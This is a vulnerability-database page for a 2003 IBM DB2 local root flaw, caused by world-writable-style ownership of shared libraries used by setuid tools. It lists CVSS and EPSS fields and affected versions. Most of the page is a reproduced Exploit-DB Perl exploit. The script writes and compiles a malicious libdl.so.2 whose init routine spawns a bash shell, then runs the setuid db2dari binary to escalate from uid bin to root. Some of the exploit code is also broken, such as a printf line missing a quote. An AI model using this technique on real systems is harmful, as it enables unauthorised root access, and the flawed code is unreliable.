Metrics
Metrics |
Score |
Severity |
CVSS Vector |
Source |
V2 |
7.2 |
|
AV:L/AC:L/Au:N/C:C/I:C/A:C |
[email protected] |
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 22989
Publication date : 2003-08-04 22h00 +00:00
Author : [email protected]
EDB Verified : Yes
source: https://www.securityfocus.com/bid/8346/info
IBM DB2 ships with a number of shared libraries, stored in a directory owned by the user and group 'bin'. As setuid root utilities are linked to these libraries, their ownership by a user and group of a lower privilege level constitutes a vulnerability. If an attacker can obtain user or group bin privileges, the shared libraries can be overwritten with malicious replacements designed to obtain root privileges from the setuid root utilities that use them.
#!/usr/bin/perl
#IBM DB2 local root from uid=bin
#deadbeat,
#e:
[email protected]
#e:
[email protected]
print "\nIBM db2 local bin escape to root sploit\n";
print "Preparing exploit...\n";
system("cd /usr/IBMdb2/V7.1/lib");
open FILEHANDLE, (">foo.c")or die "Cant open foo for writing..:(\n";
print FILEHANDLE "#include <stdio.h>\n";
print FILEHANDLE "#include <string.h>\n\n";
print FILEHANDLE "_init() {\n";
print FILEHANDLE "\tprintf(\"init..()\\n\");\n";
print FILEHANDLE "\tprintf(here we go: PID=\%i EUID=\%i\", getpid(), getuid());\n";
print FILEHANDLE "\tsystem(\"/bin/bash\");\n";
print FILEHANDLE "\tprintf(\"wicked done and dusted..\\n\")\n";
print FILEHANDLE "}";
close FILEHANDLE;
system("gcc -fpic -shared -o libdl.so.2 foo.c");
exec("db2dari")
Products Mentioned
Configuraton 0
Ibm>>Db2 >> Version 9.0
Ibm>>Db2_universal_database >> Version 6.0
Ibm>>Db2_universal_database >> Version 7.0
Ibm>>Db2_universal_database >> Version 7.1
Ibm>>Db2_universal_database >> Version 7.2
Ibm>>Db2_universal_database >> Version 8.0
Ibm>>Db2_universal_database >> Version 8.1
Ibm>>Db2_universal_database >> Version 8.2
References